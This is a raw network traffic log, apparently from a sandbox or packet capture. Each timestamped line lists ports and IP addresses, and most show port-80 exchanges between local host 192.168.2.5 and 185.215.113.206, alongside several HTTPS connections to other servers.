Oct 30, 2024 18:06:45.957233906 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957245111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957246065 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957257032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957269907 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957269907 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957282066 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957283020 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957312107 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957319021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957331896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957338095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957362890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957380056 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957501888 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957511902 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957530022 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957542896 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957549095 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957554102 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957567930 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957568884 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957578897 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957590103 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957597017 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957609892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957617998 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957622051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957634926 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957639933 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957659960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957686901 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957705021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957716942 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957727909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957740068 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957741976 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957753897 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957756996 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957773924 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957776070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957793951 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957801104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957807064 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957820892 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957824945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957834959 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957844019 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957868099 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957889080 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957916021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957930088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957942963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957954884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957967043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.957976103 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.957999945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958019972 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958025932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958033085 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958045006 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958059072 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958081961 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958513975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958559990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958574057 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958606958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958622932 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958642006 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958656073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958667994 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958682060 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958693027 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958726883 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958760023 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958774090 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958786011 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958798885 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958807945 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958811998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958817959 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958853006 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958933115 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958945990 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958957911 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958970070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958972931 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.958982944 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958995104 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.958997011 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959008932 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959022999 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959038973 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959064960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959070921 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959083080 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959094048 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959106922 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959116936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959121943 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959146023 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959158897 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959177017 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959196091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959202051 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959213018 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959224939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959229946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959239006 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959255934 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959256887 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959270954 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959273100 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959295988 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959328890 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959506989 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959525108 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959536076 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959548950 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959562063 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959563971 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959574938 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959589005 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959589958 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959600925 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959602118 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959615946 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959626913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959630966 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959640980 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959655046 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959661961 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959672928 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959681988 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959693909 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959695101 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959707975 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959713936 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959721088 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959724903 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959733963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959745884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959753036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959758043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959772110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959784031 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959789038 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959794998 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959803104 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959808111 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959821939 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959826946 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959834099 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959836960 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959841967 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959853888 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959861994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959867001 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.959880114 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.959908962 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960088968 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960102081 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960139036 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960154057 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960242033 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960254908 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960266113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960278034 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960282087 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960292101 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960299969 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960304976 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960314989 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960319042 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960330963 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960342884 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960350990 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960350990 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960355997 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960369110 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960382938 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960390091 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960402966 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960412025 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960416079 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960427999 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960432053 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960441113 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:45.960458994 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.960475922 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:45.971204042 CET	49886	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:45.971223116 CET	443	49886	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:45.971333981 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.976300955 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.976412058 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.976479053 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.990200996 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.994615078 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.994652033 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:45.995203972 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:45.995209932 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.036926985 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.037210941 CET	49892	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:46.037241936 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.037587881 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.038656950 CET	49892	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:46.038773060 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.038939953 CET	49892	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:46.039964914 CET	49896	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:46.040023088 CET	443	49896	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:46.040102005 CET	49896	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:46.041023016 CET	49896	443	192.168.2.5	20.125.209.212
Oct 30, 2024 18:06:46.041037083 CET	443	49896	20.125.209.212	192.168.2.5
Oct 30, 2024 18:06:46.045898914 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.045927048 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.045943022 CET	49887	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.045948982 CET	443	49887	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.048574924 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.048598051 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.049345016 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.049355984 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.061954021 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.061997890 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.063432932 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.063859940 CET	49897	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.063874960 CET	443	49897	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.079349041 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.102669001 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.102718115 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.103001118 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.103241920 CET	49898	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.103255033 CET	443	49898	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.127453089 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.127868891 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.127943039 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.128993988 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.129017115 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.129029036 CET	49891	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.129034042 CET	443	49891	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.139292002 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.139341116 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.139410019 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.140587091 CET	49899	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.140604973 CET	443	49899	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.146039963 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.146439075 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.146461010 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.147599936 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.147671938 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.148005962 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.148015976 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.148233891 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.148327112 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.148333073 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.148703098 CET	49893	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.148797989 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.149184942 CET	49893	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.149199963 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.158680916 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.164139032 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.186147928 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.186227083 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.186480999 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.186515093 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.186532974 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.186544895 CET	49890	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.186551094 CET	443	49890	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.190409899 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.190443993 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.190515995 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.190658092 CET	49900	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.190665007 CET	443	49900	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.276072979 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.276096106 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.276153088 CET	49892	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:46.276189089 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.276211023 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.276259899 CET	49892	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:46.281014919 CET	49892	443	192.168.2.5	13.107.246.57
Oct 30, 2024 18:06:46.281035900 CET	443	49892	13.107.246.57	192.168.2.5
Oct 30, 2024 18:06:46.285023928 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.285279989 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.285348892 CET	49893	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.285913944 CET	49893	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.285959005 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.285993099 CET	49893	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.286009073 CET	443	49893	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.330662012 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.330784082 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.330816984 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.330962896 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.331099033 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.331679106 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.331696987 CET	443	49894	23.198.7.171	192.168.2.5
Oct 30, 2024 18:06:46.331713915 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.331748962 CET	49894	443	192.168.2.5	23.198.7.171
Oct 30, 2024 18:06:46.340389013 CET	49901	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.340425968 CET	443	49901	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.340496063 CET	49901	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.340652943 CET	49901	443	192.168.2.5	13.107.253.45
Oct 30, 2024 18:06:46.340668917 CET	443	49901	13.107.253.45	192.168.2.5
Oct 30, 2024 18:06:46.378698111 CET	49902	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.378819942 CET	443	49902	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.378942966 CET	49902	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.379554987 CET	49902	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.379570961 CET	443	49902	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.382631063 CET	49903	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.382683039 CET	443	49903	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.382755041 CET	49903	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.383142948 CET	49903	443	192.168.2.5	20.189.173.15
Oct 30, 2024 18:06:46.383156061 CET	443	49903	20.189.173.15	192.168.2.5
Oct 30, 2024 18:06:46.441745043 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441759109 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441765070 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441802979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441814899 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441824913 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441838026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441840887 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.441874981 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.441915035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441926956 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.441960096 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.442002058 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442013979 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442023039 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442038059 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442049026 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442055941 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.442055941 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.442061901 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442107916 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.442246914 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442259073 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442269087 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442279100 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442291021 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442301035 CET	80	49812	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:46.442306042 CET	49812	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:46.442306042 CET	49812	80	192.168.2.5	185.215.113.206
